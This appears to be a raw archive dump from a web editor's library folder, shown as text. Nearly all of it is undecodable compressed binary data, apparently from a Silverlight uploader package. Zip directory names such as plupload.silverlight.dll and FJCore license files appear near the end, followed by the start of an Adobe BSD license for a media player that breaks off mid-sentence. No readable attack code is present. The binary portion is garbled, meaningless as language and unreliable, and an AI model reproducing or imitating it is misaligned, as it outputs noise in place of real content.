1��	΅h��1\�f�.F� 1�)W�aLc�P*��0%�'�1��0&t�����0%�XSZ�9��`1\�f��f��D�EFs��fLW���h�C��4M1|�b�͠��Y.�kѬ�uh֊�z4��p���p#���p���p�:1܌f��fXGs��f�>��b��1bx$�c��(4G���h6��1h,�Ǣ9N�C�U���\c��s���h�͇_J+��?Xo<��;x�g���{���qϭ��!�7#�����
|��ƕM��ӛ��χwԆШ��>ӻA��ڢ�e�;��?mSc���#a�� �CGư�4�o`�:��1�ſ�U��&�4��
еg��AR$�!"��w8�:p^'IQ��,Ł����b�"��
����f�7�Ev�v�;�֥�o.��S�%W�xp�FV%Y�Y��Ϳ�
H�A��নv�ɉ�Wi�椱���^�Ǿ�S����/������N�z���`N��	�ut�/?���U3�ͽ�qy1y����:�B<��ψ�`��a?�q
���l�b�3�~�l����}�Y��󁳹���7KB��;��
�,���S����[K?n��!p�����\lQ��u&+��S��Ŷ���x.ͳB��'�y�>!��]_���o_��	�-kq�~�饝��L'��::Ӷ��ٝ�ڊ��d��kVm�ɝ�tWr��a�������e�K��:�.�\�4��][q�Y�]Gt�qbrA碱�>�}x��M#��u6���d�-�Z�iN�\j]v¿c'L�3�<��Z\l�%�ܷ�H-U�Bh��&��ŀ̅r͑�BF�G�3a�bH^�RȄOs�Xؽ(=�r�ҥ�G54�;�u.lO�/��H%��9K�;�N�Z4gEC��qDÊ���
�S���EK�E��cԊ��uhw{�?*����#9�����e�����!���O~zse�.�1���*lRT�����K+����V�ݹ���"=/��{vŬΊٝs���y�����:���@�r|�p^�'�;S�&-M%��o.�c��v��i]���[��VYqxg��yK-��sS�e�f��<1վ(��=��N�������/���Qcm_��=}�@��40Tvy�4���?sKz}y���ƃc�`vp�й��c0�=�����Es��c�2���|�	���<��)���|=�ҍ�)`k4��]�� 7v2�W5���ؗs�� ��+������
��4>�Px�3������
>^p�˘<��p��A��[j�c��`�(�	�^z�.��;�RF�w��,��`��yU��n�9BCoj�'Q�.��о���
���l�i��#����R�9�ἲie��c��e��T���9�A�PX������\M�Z��	����JY#F�A�'
�QX�_v6^9X#��`�����n���� XIp����F��H�O�ޭ��A�HY1�{�,l�PJTᗦ�ItM\N�,��#X���2L4i�_���aE~a�AXJ��T��
R��AJ����euF
�톚����7D�G�b9�"xX��\�q�}�Є?���Z�t�b-_v��t-�8�k��:,����:��:�Wm������ϫ/.([����ie~��Ê
��۲c�z��w`���R(\Ԉ����
�1�L*��W�����G�&c������Gb��;����a��C���n�=�fh��A�����!�Z�Dc�y0r��$Hn?#l��[G�D��&Ž��6�o�qZ����p���:�F|3`T�����v*�h���ޑ��B�C�hª�0G8��&�<ҋ�(rY=���1�e�w�۱�D��c��:�J�Ҁ���b?�q9İE��������p�=�=&l%���ί���s��O��|a9�D1|/�e��/�
���C�2H9>"�{�t�~GX��1�8>�_5`��ǟ�ƚs	刁�1�0	�q�q��|#�����v�t!ʱ3DLY��_T+�v���@�KD,�����U�F�-�(u �m���)���=M�Q��ϗ�g0��v��TG-�}�[hOA�\�8�0�İ#	��ر��q�D�2V�yX�va��N!l�c�z�����I�R�u�!�lG75����V.p��Ay��cK��{a��|�^�E�|�^��5�ا��XI��IP+��1e�lb�;��4"v�c9a��ױ��e���8����XI؂&Ķ9Vv5a9V�������{�q�lB3��q�Y�sj�ɫ�;}��D�xg�Sȵ��r��	^Bp��>@�1�O|��n���=���GPu!,!!8�)B�8�)g�C0Ep%��V_���|��p��	�W�"������d����������[��I�C�"�w�})�� ��`�r;����)���`�Ma�����	^Pn����B���-�,|�|����$|�`j��}�z
�z��`� 	�~,�ST�!	�f��3����
*��sU��qc=��F�4�G�0�}������3�s��Z�y�x��/�w����>�.�+5��y������.�S��]���;����9�c�ǭ>ͣAM�"�Ip�S��S
a���JO5��yj^����\Cp3�&�v�)��������8�_toyb"H��h!�/!x�c���%�<�W~H�O�I��CX�Ô� �ʇ9����n�%a��Zq���zQN�O���kP�&��})�Q�#�g������r~�`���ŒSx����7��A<��!��zI�~�Z4�?���ʡ�#�4�L�D���Hef
�����$a���&x�x������>�?�h
/�_����!|�O�N^=��+(��L<��/'x=�	�J�N���J�!��|��3�#��]_'��~B�s�_���w�t=u�A�	VJ��`�GO�0�S	C�D�	��� 8��B�i�g<����z�0$�d`}�b�	���SI~�(!O�vz�ꏊPn?'�-�}�b���Vc�j*�v4�x�Iś�@�v�/���|e��C���Z��Q�6�|�T�)���b��	`��a��Ho���cb�M�ü\_1M�˻�,'j�9N��zA��,�+����W/�V��!����q[y�C� �+@+���/o�:�s�V[�cg�;qBBHo�@�&N��v6�eI�EdIHrbCq������,�mhMZZBe�O �l-��(ЅB����/��73�\]yI~������/��ܙ9��9s�su�[fEi#�%��qI.Yȫ�Υ8{���'���� |��3�4N�g�
�7R�.���<�Н��j���{�<���{�?.��4��hF;�G#�Gmp_^�0l���ͻ�j��Ӽo`+��
~�����c8�a����p9���Q�S�B���e��0gWO�)›���/�����P��SIOg(ur!���M��\:�c�g*��o�J�zû����ნ��S?�/1��T��e8._�p.η"l��FxC~�_O���G�V�#�z's�9�a�4���ȣ�<��I���� /.�e��?g�*��	�:�	����—���/��<��9��g��9GZ��Q4�/�\t7��i�;Nj;O#�!�/2�x:��2��W�x�h��/����Eb~�+~� 4-�����ga(�+ڠ��N�
V��V�$`���x�=CɟR2�1b��o��K�L���G�j>��T�~�~.9�Jk'�<��]��O�/�ߓ
�o���~v[���~E�j��QRt��n�n;,Q�A�ó�zKȀ�Y�:��FI9��!R�+�+��PQoY��Ԡ�>�^���*�ϭ�!�O���։+�L^�x�*5�6�ԭ�:��bE�Zl���N��
[W�;N��Z�����B*�WR.?Ǿ-`j���w���.���eȅu����",�mx�6L�!E=�T���}v�>���!�S��S�i/��+�>��^(s9f�����ޜ���<�&��ӊ:�؎a�bj��Åa����yb:X��D*�A-3 �XJ���	3���e\�Lh]*���\+f��
1�CGP�u��ىT-S���3"N��3�v���L���P�Tʘ��;�\�f���v�,N�ח����v/�p��R���Τ�<ө;�4����'�5�~��ڟ��g9�TI)eg<*�!_�	*��E%T�~���aw��EP[o��R(�7۰��]R/%1/�q�v+꼌�řP�\���p�J��ό7�Y�MQ��o���n�.��G�9�Jwv�b�j�kmf'���K��J�������Y
ćQ�$�x?���Q��u�V�b�jup,E5k+`�JY�S]��
�Wɾ��T�ERg��i���M���u�h�ZE�F�	���l��v�f�P�njV3�HQWj-pW�i�V��%Z
﷛�h5S�7Q����M�&(��fK�Q�ގ�يjejU�a1��a}�i?�`{�i�������!E���!���
_����R�
�zxz�aw�᥵�����w5/䯓��j>x^Q��u�QE	ϣZ��W������+�"�z�u��Y�yN���dX#R�!�a���t����w�=����iQx$E�A���)�m-�>��d�o��t��lG�o����%��?u�m�KR/x>F*SQ��ն@Q��z�a+�*�ϧ�Ep��,Y����/��؆��r��pdemG�JEMe�*E�a�FEUd]��>E���݊j�zT\�H
Y��
�RT�.��(*�5���-��R���n�r�_�OuRW�5 )��k`����"*����}�E��k��Ǯ���8��
�#gU�}Y���J�k�n�t*���uEm��At�~77�KRpݸN��)�qy����#�}��ͰQR����@o�1o�n��^I7]�&{�6|��\�N�&��y%��-�!E�÷�)j���E��O�P2rY���/�:�nv'�/*�?���YRY9D�,��9M��P�y��i׿;�d�e9��wDdr�iwA@Qk0������9�_h�� 8⦽>����^LQ���ɤ,����w�-��L����WQS��S����Hɯ��w�x[Rpᄣ���ՠ��?�u����E}c�TԮ	�pQԭ�#�����w���8G�ʺ�s9���1�>!���
�����#0K�v��km8b�f�m�'��)ϧ�A��}��Z��VԿM܍T�Œzvb'<%�$�ۉ�,��5�z���I�����"��oFꐢl�Z~W]*5dܤ3-/��K��4u�2���f �
��0�Yg�-��0�;�RQݓv#uPQ�I��{xOQ�'5[~�u
���I�F�r/��m���jUԏ'���WH��ހ�/�^����'��4��M
��;
%by��i�(�[�ǝ���g8�SJ�I��@�WdyM�ay����,��*��c�;l�J���I߶|d�c��-�݊���8R(�u�SHV�y�����iE]�a��_)j+��^U�哇�(��J�q�/,G��Ȱ{1�c��������1�aֵ�}OO~��O��&�9��)�	�,�c=�����Z?OQ�Z-��ZS��>E�eu�'�5<�V��p����M׳D�ur��k�f�݊j�[k����
�xV�y�Y'�}��E*W|����γN��K*��	��v��.��Gꠢv"5]SԮ��0S��[R{1�L�c�ƙ�'{L�{�xx��ڙ��=��1}�b��M�Q�u��%��>�#2n4�h�ȹ�(!O�#��^�\Q�b>����&�+ꉼA�<�Qj�sy�����0x)o��D��ɬu�8_R�A��Z�+�������!��MRC�3尵L�7����\d*�)�"5^Q/;oD*_R�l�r��-rFw:>F��7�H��+���Ք�P!b�z�*ĒoI��H-�+�)��H<��O��d]$�}��
��E���KD�^Y�S�3lK�6E-Bj��GQ���lg��5�ԙb�m��9��RlR�w�:K�V��b���YE=��9B|ǐ�B�2�@R�_��b��^d�E��T�+��+�F\.)x?��V#��-���j[��i<5W5�#�3��g��K�*[��Kj"R+�E�^�f[%+ja�[�8z@���&q�]j��f�[R=Ok-bŏ%���ZŎ��a��_Q_.趭��J�k	��Etþ��}�m�}�m�}�y�����kX���t��҅��]kۜ�n��oX�������͖LKw��eX��Ģ{�~?�],�SԽ�m�+)�}å�GQG
�@*��_�G-���r��*-��{i�.w���Lܧ�b	��K�{�v���
˝v\!^W�L�޾W��3�=f�B<�SI-Cj��Ϡ��]-f�oڐkļ�eX۴_ۮU�a׉��L�y�h�aߴWm׉թ��0��!c��-�Wť2|o�{�]⦇�l?���	ǣf��E�w��v��j�l,~Z�-����mٯ���vX�=*�
;X���a���:T��9,2,l�
{��fݕV!)�����
�Qa?����%�qضaa���Ee|�H��i�T������M#m}kg>?W�.��?�62������q>K�
�h
�5c$��~�yZ�����ę8�r�<���Y6��8��4(9s8~�t3ϗ��ES�I�Njǯ�>OO�˰�C[��Főm�Ρ~�>�#a�cB�#5��m�7o��zʘ?��n�ὼc�5�z�����`��nr��u�á�N�2�q�1~w
j��\�g����k��iq~ǡ�L;�[cr,����
�:�xy�����̑�><N_���R�	/���	��8��Sz��(���B�����?��-e��5�ԫ��'����N5�s8��'��KoU�q��|���s�<�S1���juq�}a�9�/q�zB��o�P)��3G�I�L��{8태v�J��8�}�c�h��G�u�ts,�ɡorڏ?Ƹu�"9Y3���Y��l	s9�T�O�3��ɜ"]��"Ɨr)�cr}.:Nh��9��ϥPYt�L�VΠ�N�rZ����3�q��4��%g�34��2������&����l��
#p]�#��a�oD�[�6� K�v����#��P����&���A�ي�deQm��0�t�	�]�#�Q�6���	���(m{\�!�!R��O���X�Jq�fi�_`��L�yδ/6j�9Wέr��w#���4���}uF̂9�y��#���~�P�N����@�s/e��aB���ϽAP�>q�&�B��}�\�l.�6�����Ddv��'���!�u����̟��yJ�c������⟳�f�P�ة?��"���Us^�W“s���J�wC%�R�;j��h"³��ç���*�&��s��J����ŎM@{>���A�&��(a
 ~�#�B��<�!O���g�Oa����G!(��K��r�K��Z���9.��ą�}��*�5O�K-�;�/����Q�=>��c��˹�9�4ʿ��̃cs3���w��9�MG|1�.X���g����z������R>�H�nunc	\��.�G��u���-v��m���F�O���C��ܺ!��2����?�
j�r�ֆ���S�����}6���-:�����U���� *��0��qJ��on�d(����)������`[γ^�Ҿ%�Ke��e��e�f�VlŊ�۴[Oo�<����=zzG��E�w+οN߈�����Y����y.qX�9�vX�ּ2���Ή��ځye�ɲ��eE��5,뉼�2�Fy>��0����y�#��73_�<w�k�>˜T�*������^��[\�h���hΛ����0�|��0<1qꗇ�����lC�}��;�s���M;:?˝�R�r)�j��S��S<�L)ҥR��������ş��p[�p�B�����#G�$s��I�����-�2|�}~X����O�f�<����C'hO���q� ~Y�ww����pS=?q�jG�?w�����t8�S��/��G�#P� ��,J���v݂��5���Ln�|
|�=/@�/�޺`��A"��"��]<�J���0�Gt�W����J��٠k��o��t����UϛX�w=�҉������PmF>�,.}����J�ꕥ]��zg铘�s�����e
闔���K����aH߇���A���:�:���u��7dݦg�!'!��ά���Wm�p?������LB8��Ş� ��|�"߁|6�"8
�<X��*V�R�K�l��P�psj���9�xw@+4!�6��a�M\J'��Rv�S��	��.ရŹU�i��>�o�r���=���
��'�?&B4�X4
uh�wi��'hs���/iV�@�֭pT�E��v�c���qM�/�Z��G���c]z�8�Z_�I�s�-����Eg��� ���@X�	a�~9�%��V�;.ӯBX�_�p�~�F�z����v��׿�p�~�N���V�������c�w&�}�;n�#ܡ��w�?Bx�~�����Ax��S���#ܫ?�p��0�����!<�?�����'>�?��4�#��:��n�`��?�I�G�q���������t��,�G;,�G�[H�1g?r48hYlE��B�y?�昇8��NpY�V�R+�γRh��B�0��9˘Sk%�]a%
i��~ZoǴ��#\o%��d%��iw`�bH@��b��/���a���hV1j�7��!^.���=�Oax&�"��
��������u�,�s�b'�0�?2��1��(G}�.�3�C�I��5�/c�]�32&gR&�Q�`�.c��po.�u(�k��2<T�|�0����3��3�^�o�@?^���,z֞�\ ���З�,��o
��{#�_�7ck�7�&٧�����K��؛��s�7٧8J+A�v�U�������-Ϋ�9�v����85��I���2�fܔ�/㡌_g���Z��d�3Þ9;�+so�2���I���vMr���\]�nWص�u�k��G�{]�~�z���cק.�{�{�����^���}�{��%��_z�fUeug}7�@�}Y.Z�Ү}7�������+���[&�?L�T�?DO��A��IOb\�Ƃ+O���	����p��e��Foup&��9�mEh��!V�6�棥.���-�o���i+{��~9��N�ǿ��/*�����D�-��:9�'X��+�8)���9p���b>��2�`Ù�>��5%���k�Q�U�G������ P0���@x��/�9�4�S�ʥ���2��I缕w�̘���S߰R���V@5���@�z��7��#p}�Ο�3<2��P�=H���/���؊=���	����S���4�';���w�!��Ep"g��@N1B
�.���p�79]ș���A�� ���}�Eߢ�>װ�	���aODx'�L���:���<�{�aj�~�U�m�
��5��8��A�R�W�\�_FK����?��y_C��c^�PC���^�(
�����_��a���G��?���?�Ѭ�Q�|u$A��
NjU�hB|��a�XM���5�us1B
��
�i/]��p��R��a��#� �]� �°��<�{�.{����nG��G�c�����9��X�Y��ȼ,�̗2W��<��F�7<wyh���b�b/�I�_ �J\_
p�8���I��"���4�Y�U���&����&�^H���n1p&�A/:��p��Q��B;�,nBx��C/�7�����o���%]Kߙn��/�Gx��D�~�>��?�.��!,;��?�oO��
�*Z�.]�k ���1xF�c�h��G�n�!�c������8��f�D�+F�U��Ve�95�L�T��,����s�C~g~��S��Z�[��z�,��
�4�g%~V�?M�i����g�s�>�Ժ�@����g'~nqs+����p�l�/�H��[��0�p�8Cm�;�Kۓq�=�`��"�S��Wč8��D�I&R��HO(���`ϊ���>_���B}����5Ѹ
旷`B�2@��逆�ޠs��j��2���`�k3�>�҆g[,��H47���dI�֭�hO<�H��"=�@U�'1"��:3��R��n����] ��ѮTpK2֟D�}}�������C_|p]<4��
-0Lh+[�7��1bctk̗H�V�KCR�$�AFh�&��Ak݀?�:ˀB���$Y
}���Cm
G�(��D�c>PFa9�I�S���X�%E�P�1�1�OS��@8Ǟ]�
�<ۓ>��1z�xM2N��D4��oxa�_�Ø|��Z�`,H�c3P�Vy
gS�:�AzM
mp{�#�G���ѸA���lGNk�Fo�骉ù��s}=�U��q��.��.6^]�CPA�o� �O*V�P$ݚ���܀Y�Z_�_6]EG%Rz8<}�z�K�^���4����}"Y{P�`e���0P�m0`(iK$<�u�k�/oh^�-mu���Ɩ�UHTu4�x;���ڡvC��Z����:��
8�k���4vx�ꚼ�uk���j�����f454��U7t�ú��s�`]SU�*XQվ��\�8�13�}EC}g��Ҳ�jE]U-gV����u͵Xgo��z�+�X�Q畍H��U�fXc�:΂�(�-oi���7/�Um�:w47�ԥ3kVT54CMKSk��~Ms
��8z:��z_�@@{0�A+4tE^m�O��6��[0)!"�	&�&�M��
�S�;�N`v��%�ʰ��ꀏ@�"�I�Jh�A�o�Q��d�/��5'�(郢�QyR!aL�$��Ћcb��裴8��I�6�(���-�P��CW8��,c$��#�ht��3�*k�0����{}�ca�E�	���mO�z�рB�8�ih��#,O�
m4$�ؘ���-��VZ��^ea},j)pC�)ن���5	��jjz��>��d���؟F֎�M��4ب�db�̘z����K�jڨ�%}АXY�P�TD�n
��S�4����6*��wQ�u�C$@XA6���*�6
c����iH���
2�-�� �dƄ�|�|�"��'UU��HÕi���A��D��`�~?4���R��>�c�즘�]S:��m0N���
�P2��[�
:{��Ko��.Fӧ*��K3x�21\��;��?Ԩ[�8p(áBc����i*@[m	%��K�BL08�ZB��)��J��G�"��,Հ\�v4&t��
�w�ɠt��q?U��Q�3g���b��<k"�<���� -�wt<�q���8�b�LiS��o$�UjaJC��eo���� e(~vD�j�ƞ���
xG����(vL��")L#
7pPB�w-���P�Ua�9�c[<D/Zl���^�ȭ�٨�Pr�;��V'�ۚ���h0פSUè1}\n��!��cJ.��j(y�2�Q�W��8�rP]����I������Y2�[��|�s}zps�0RͲ����E�]D���L���
�
�hn���ǨWQ�k�7(�Hi�F�a4:,��iliO���z��qn�)0�7��	I��$I6Z9e/7�X�i�q"�s�Փm��G��B8��xM��*UzZa#
j�ڄ�~��|r�S�RP�նc��\�1���}�
$�K��HO�:�bY�A+�e�r�ƹ4DQk�{$�5�t����ek�ҍ�P�_����:tXC8��2hk4��A9��D:�J�%�}4���a!W�1ZE8����ʝ6��Ң�۳D:A�Z�!�;F���i(s.�Ki�JF�mR$����.Z�T15GbL^�&�H�L$����^��\z�˗�/B�Jp�ai2��p�oJ~�\���ڕjzW�j��h�9N{o4���gNT�Fܪp�sfê)+3���jc���! #+{cdc{Ҿ�XS_�TEK��ގ��F\y��V�^D��C=ę���B��1Hɸ}Dn_���z���Ÿ��jk����C%h�Sh�[jrKM����-�8��XMH�ʠH���P�yk��9p�$UeP�vm���Ƕ�����`3�s�&L\T7����Vy�o��]��AE%�OI��yW�[��5��z��_�jJ����[��*���6dr}}=�/A���U�j�Zp���@K'��?�͍P��ZB��@�rXD`1�%�rd��Ӕr�RNU��JB[{G	�Re�	T��EcM�K�(#PN`!�E8�R�"#r�R���\溮��,'
>�
��ӻZi/y�G+�D�<]t�IhH���ԗDS�?L���	�!���`7*s2��Ttk���ME�m	�̻:���XRmU�aT�6��CqY�{�mjc�њp�������$o͐��Ò���v��q����c�+z^�76tԵU5z��4-��n�e9�mu��r�"u�~"���[Z�լ�۾������-m�um4�*�p�c�4e���4�����jӃjUP�v�|aަ�nL2ҥh/�,K��׋�%�yټ�y9Ԏ�*�IL�LV�r=�Ɛ(�p:p�lČ�%S���hT#[�Z����	��%��H�(b ~�]a�i���jf�WY�hx;��/��IDfQ�K$eA��$m��t���_�X���r,�o�C�����(o�*b��O��C�w7[b�qD��ж��DZ+��f�iۣD�#8�g� E��lH٠�PK9�e}�Z�j@�
(��^x9,�58�%��V�F��֫FȆQ!*i�©����,٘�"[����AQx]$��f���5SԮhjϺ
ש8�pbi�i���V5���"�_"�
�8T��8'x��j]�j`��װ��
m_bu͵��C@���ۢ[Qi���Յ�RM��jW.t��_U�X���$Zqb
`o�mI>Fl^gƌ�k�I����)��,�U�Vs���.������@p1�����������}��
�&q�@�f|�[�n8a>}���ҥ5Î��m�(;����Q��� �)d��P3ًz4�I�/ c�$��(��6���Ɓ�c(���ڝ��[�w���F>�9cW
�V��O4F��/�n#�\�a��M��ʵ�/���Ɔ1R��F4"��Hw����\���P��ܲ&l�m����
��(:?���KM��St�{�ш���v����p?Mr	y#MN�1Z:1��a��{�"�FT����W-�)��b�m���$�H&c�]mA4vh�ɬ?$�=�,�Y0�;�1Jz�a��9�S�S���3�b���9���0�'�)�X����E�fDCR�a�j�4��J�DZͩ��&�Z��I@���u4s�������d2c�2ξ��l�TT����'�tBzH),��(�Ir�����n�{Xn��ƃ��FIF��f��x����L���5u�ŻQ2#�V��;��JkC[����=�Ue��a��ad��=��v��w�L�ܕ�����u�]�O��<��Gc�rP@�ΰ/���@����d6�Q�Sx�4Bv,(����~��]i��Ҏ���6G�/u���tp]D-�<��S��Xc�Q�Ԓ_��]Z�ʽ���|�]@N�L��$\�;�9?.@�uU�F�8oL����AdêY�D��՟4,��M�h��(�$�D_�G9�����C��";G�K�s�tQ�s̎1�2�rLq�UB�Hw���ީS�
y����@ɠ�7"����Q}� �?&���u�"�GTNb�)�QtK�_�r�xyWkko�߫6��o���1*�*="��L��[c썠��0�S5K�/���
1c���*glo$iB\�_�tG�`5�K��S?cӭH�*��u�;B�p��L�]L�2
���9�;���/�/��@��'�J�S�������7��J���`�R�DO191�C��[B~�BZJ���ۻ�?���ݠ�4Ϗ
T�ֆ|=�h50!W�=�aEI��&V��%�a����"�E���gdf������Y*3t��yM_/4�ؽ+/���xh���M�����Es
'ξ��������j~Ւ��K�.�_UZ��Š��%�u5��5����w�&M�W���^��Jd�Ϊ(�Y��h*XTRRR��t~�Ѥ�p�����W)�H'�HF�W���1xc��@��J�

�ĂR���xO?	�����:;f�#-�M���1Y�~�{v��[b�c�ѥ�;ˠ�}V��K��FTE����h��+m<�Q�*�,M���\�&TE�������<!��`a��������|t�-D�8Q��1R��K����.<Aic�h��1xKR�r�y�H=�Gk:��F����l���[�ғ6fx'�~�`����#SRV���+3��ށIQ�b��HhB�h�V/��R29�UP��i(N�_>��(����֋*Fհ�L������m.��c���m�.Z]gܼr}h�k,@-��4�I�ɋ��h4�:����c-��<0�C�)�rN�8���p����u�,�>���\���~��gq�n�u[�Jn�F�]��)hM<D�U�y�=�����c�ɓ|1z^��8Y2ޘR��h���t����W@�7�:��;Z��#��‘��d���l^9���B\J�
Ĥ�'C/
�]>b$q��2��dU=�G���7�>�)II� ����X,O�kʈV�JF5䕡,{B�i�]kCƎI�،��w�7?J_G�ݯ����}s�Tz�˟����+�����c^�����Az`�0�lUNz�C�O:���ƾ�aДv�A�r�i:U�F��=2��PJGN��ؚ���c�m��B�Ī�������9�t�ed�xG`DX7u;�,T����=�w���ݨ���ˑ-�;ȴȕ�*���Ԇ[M/�j7�#�쯌�{��H�o�PiR[錷!�����y��/*otU��z�ڇ}��s�����ʳ+��do5Dn��kh��5HO�Ǒ��Vi���2l�����zs�t����أ%�˦dj��X���n�:\�xA��T2��Q?;Hr'~,��c�^��Q��*�}�I����@G�1�58�@��u���G�8�*?�Fk��O�}���������
�oB�D��:b)�����z�U�c�U�1:*�.��-�zi6�� y���D_8�攐L�y�ċ�H\v����#������ՠR;BjO�YM�h��W=J�ؿ�w��P}q���C2�O�V[z����1�:�⋩��w
ٜ�!�ҥlj�Pj����E��&�;��'ɹu�NRV2BJ��N�7��U�iUQ�R䖤I�II�,�uD��Ì��'1��)��iU~�"�狩�Wo�g��Qb|��G�.O�iS�<Ycr�y��*�l�]O��'X-,�4XR1��/Y8&�l�/��ǍߺX�،�(lEX~� �'������燤��݅�n�bLpGO �Ȥ<(>�M-���
+�&�
>�[ȥ&��s� ��Ku�b��G�~G;�bl�Pӈw�p��c�06��2�r��xaĢR��W��(�+6c=���E�"�a�~.�j�øF=�/�,٢B.=ȹ�],e]��|C,�Yt��v�JUj�������P�Qk������6X��y��@np�V�q�����I"��b	g��z� �F�#���I�pK藲�X�$�+�F/A�D:��d���~��R*#�#���ҽ��E�,˜k���
p��bj�{��g�4Tn~�X���^��9�je�	s�L��8F?�(�
�������X�r�i.Pe��h��z�iI/�c.�W��<�>��=���k�Nr��IuQ㲯���p��>�o�[I��ci�9�8��N���a�A>���Ni�����ft��
B�.i���#e�0�)Uv��(�u�v.κb���)��t+JZrbPZ���yOS�z%ݞ�b��9^m�����V��PJ7
�,� ��b���`�h��ukG,���	�����/	�����ܦFJ5�^���|O�_�ϯ�m"���?�q�J�9w���y�S�L�a�[K��4{���j)����S��
��!�
l�;==��?魴�ݟ��9�����a�f�k������V�IyD0�d�㖶��ۈ�1�~�c�QZ�;f-��ǐ���e�'����}N{]	�=l�\]�F$y��*&����%�Z�P��E��J�n�����RlO1'{�e�sY+��2�f3�l	�#[Vp�cʎm�
���u��N>COj�&&�T3AD�)��|��w�+�6�ģ��T�y�,��3�ٶ�t�I�"�&n��l�J�a����.P�|ǮW2K�9c�
���S!�Ь���8����ʛ�2���ʞ�9�x0�3�C���O�*/K���!��~^�A�d�!/�O>dJ����\�9Jߙ���[�%/���{�DYoڔ�j���*�R�x��U�Q�68S�9� $�S6a�t����1��X6saʜ�H�L#����S��
���t�8�V�~;t���s�W\��T#a�0OX��8b�=%��>�M��!���'Ҟ��8[� �5��$Y�Dę��UT��(-��ޡ��L����P#���7`m�>e�h�B��vP�R��� �FZ�.��p�
��R,q��~]��N}nhǙ8F�p�ڔ?���jF԰�g��?��Jmdif��1u&��M���%u(YPޢ�7��`������g	�X�������9_����Aզ�iᰜhE����-�{�s��=DԚ'�mO��k?�\��D�Q��c:�m�(�m��O��3���Y��3n_��Ƕ��x���
^���-�A/��"�B�O�l��K�^��<z��IŒEv ��R���B?��ߩ%@�8���B�Ҳ
��a-����@
?t�2�	�����*��Ǫ�2t[N~�[Ύ[�"LT���0r'�5Q���3�5H4��0{E@AV,σ�=��Nk! �R4*W��&��9��B��3f�&�"a�V`�"NS��HE�\���	�
s�,'Xu8\��Q��

ܘ�=Cd
u�b
g�������N+hN��j�a�
��,���N[�Q��,�����Pj�nJ�P�S	vM��-�Л�l9K𓏟<�l�O�]f��i䊘NBq��s����S1-N�
R,�T�B/���F�~�
�B84L�(��v8X;l9��S�,�rv��7���]���
�{/?��j�^R����e\3�k6�����(�����BkN��@�]�5r��p4��C�-
XbRUH�l��	�)�#�ЊE �s��X)�E�'��x�8"^������+�5��G�xS�%�,�"��w�{�o���}�xA�J�Z�(~#�]�$���1�xB�\<%�ψ_�_��X�&͓��~j����Vk�T�5؜�
�{
�mX7�ǃc"g��ކg�F�w<uI6�� �C^8
-<l5�(@� �vb@N������∱�R7(�H�̀4�t�;w�#{�ԗ;�J�1;�{�n��b��q9��)����O�����x0�n�Mwd�I�8i����sI��Y��M� QT�Ll�"��fe��3
�Tӊ�M+���PĤ˜)�Z>���`����� �EpB�.�f�����SA�	�i�w�Y�r@����w��������3���������gx'��3�s��'h��B������a�I��G$~��'%�$kP��d��`�c[3�E���=/o/r%�\(�<ػ���<�g�E����bV��
��&�E��"�Xu3H�"#�	F���w�P��Nc�A�շ��s����yh0P���;n'Ѽ���w�L��ծ����J<}�E�iǩ�f����3�f��Z1�� Li�[����}DI&��x�S����F��4`�4�3�
��ǓO9��J�s�tJ���A�����\���oh|<4\Մ�	mLJb<P�O�P,E��w|����9�(��0�n�Y�@+���r<X�h_r�fn7NPZ�ۮ&�L�nLW��i���{�b�\RT\�c.���Mu�4�$c�}a�vK�J8�\Cni����R������h�4�y3l����q�D���`G�&z��������-gh��w��47
�ϙaL���†��̢��Յ
�eǑ�Ƌ[�2X2A�_�-v�<�M:�cC�c�p�'ƃc�}������9�t7�X	Q)O�Op����u_v��{�i���Useڱ!�����g���ʶۑ��������	H��\�� �\��I�J-��T�J�mw+<�= \�qv#c�U.�C
4t�رN�6���D�bʩ�aWcVj����-in�m�v"	�Muȩ��)<�c���n<
-�J����;��|��� Zyc]�n����>���g�7Ƌ���!_��ș�&-4c��2��Q�O����:���ʳ��c<M��Cv�LT���`/!{�G����n�*0�>�P%�ʶ{$Ӽ�Zj=��'�(|N��9%8}b�ơ�N�;ӵј���9Ӯ��m4;4��y~e;l��!U�Oβ����F���MqR�;�'�]��v�[L���8H�����lv=d�(gL쾜���wxp(X��ٜL��S<���]����5�fb���=���5�&V���y�ϜC�9$��s�9G�?s�dΓ���Tf>�:�:�8{�+XC�L�k��ڕ�-���*��8z�m���
b~~>��=�v�L;����L����75�C;c�.����0O�r%T�qpk<n��lo��'m�������&8�U��!I;/�Nfw*��SEޛ�݋<���ȏe�����)9!�Ft��f��$�\h��xr�
����,]�D���l�#9uѦ�Si�(�<�s	�)y\��&�9C�s����cxG-��H����J{^��or�~���dj"���9���T��qS��S,5u��Xn�h�.���F�$��z�&L0��ߋ����Y�7�%-F�_Ú'`B�-���DaU5�76�e<�$ ;��������,�+`�҅�%�`p�@p�o~�"��K~�����K�J���*�q�	�����G��Xq0�k
ڤuq_�9���^zy�|_엗�[���~	?��8�B@[{m��ʬ�����g����{f&hK��M�Sc�B_$Pخ��*�G�AK򓫛�S�6���xl�!�MѮ6��A_"�i̧=b�!���w�>Jx!�yL���D��p�	�^(�\�|6.������u�:y���{����\���|�}J��ӵ?�;�fȀ^�p-��a�!�-�L�7C=��X���G��EYԼ�~�r��|bd��Ӊ���5�Su�N��i�j6���Q�g��s��㔤�*��d�0�5|ާN��oJ;�
��M�YY����\�F���/�u6�n�����O۵c��5���UP-_�N��ZՖZ>K�sc�d�:�$�ii�;a��T��^~H�y�!��B�O�̚��	����ҥl����c��ö��3�1x�p��ڣ^Z�l⺵�8!U��g}�ku,;�-O���HrX�!�
���#�;R�K8M�z¶�O��9��*����u�:y��N^'������u�:y�j��d��ғ�8y��N^'������u�:y��N^'�������PK|%@L�-1��AppManifest.xamlPK6�8>dz���)FJCore\IJG.txtPK6�8>�����U	FJCore\JAI.txtPK6�8>>��ye
FJCore\License.txtPK6�8>�]
EFJCore\README.txtPK��&@�����p~plupload.silverlight.dllPK{\�editor/libraries/mediaplayer/license.txt000060400000002770150751770440014501 0ustar00The BSD License

Copyright (c) 2010, Adobe Systems Incorporated
All rights reserved.

Redistribution and use in source and binary forms, with or 
without modification, are permitted provided that the following 
conditions are met:

* Redistributions of source code must retain the above copyright notice, 
this list of conditions and the following disclaimer.
 
* Redistributions in binary form must reproduce the above copyright notice, 
this list of conditions and the following disclaimer in the documentation 
and/or other materials provided with the distribution.
 
* Neither the name of Adobe Systems Incorporated, nor the names of its 
contributors may be used to endorse or promote products derived from this 
software without specific prior written permission. 

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
